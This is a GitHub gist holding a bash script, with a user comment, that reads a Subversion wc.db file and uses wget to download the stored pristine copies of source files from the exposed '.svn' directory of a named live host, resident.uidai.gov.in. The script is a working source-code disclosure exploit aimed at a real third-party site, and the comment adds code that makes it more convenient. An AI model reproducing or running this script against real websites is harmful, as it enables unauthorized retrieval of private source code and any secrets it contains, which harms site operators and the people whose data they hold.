Skip to content

Instantly share code, notes, and snippets.

@0xLittleSpidy
Created January 2, 2023 11:27
Show Gist options
  • Save 0xLittleSpidy/d57446737071f119f452d5bc95721864 to your computer and use it in GitHub Desktop.
Save 0xLittleSpidy/d57446737071f119f452d5bc95721864 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Set the path to the SQLite database file
DB_FILE="<path to wc.db>"
for temp in $(sqlite3 $DB_FILE 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES where kind="file";')
do
path=$(echo $temp | cut -d "|" -f 2 )
file_name=$(echo $temp | cut -d "|" -f 1 )
echo "[+]started downloading $file_name"
wget -c "https://resident.uidai.gov.in/$path" -O $file_name
done
@martin-korf
Copy link

Thanks for your work, I find usefully add this lines on line 10,11:

    dir=$(dirname $file_name)
    [ -d $dir ] && echo "Directory Exists" || mkdir $dir

it create a subfolder automatically :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment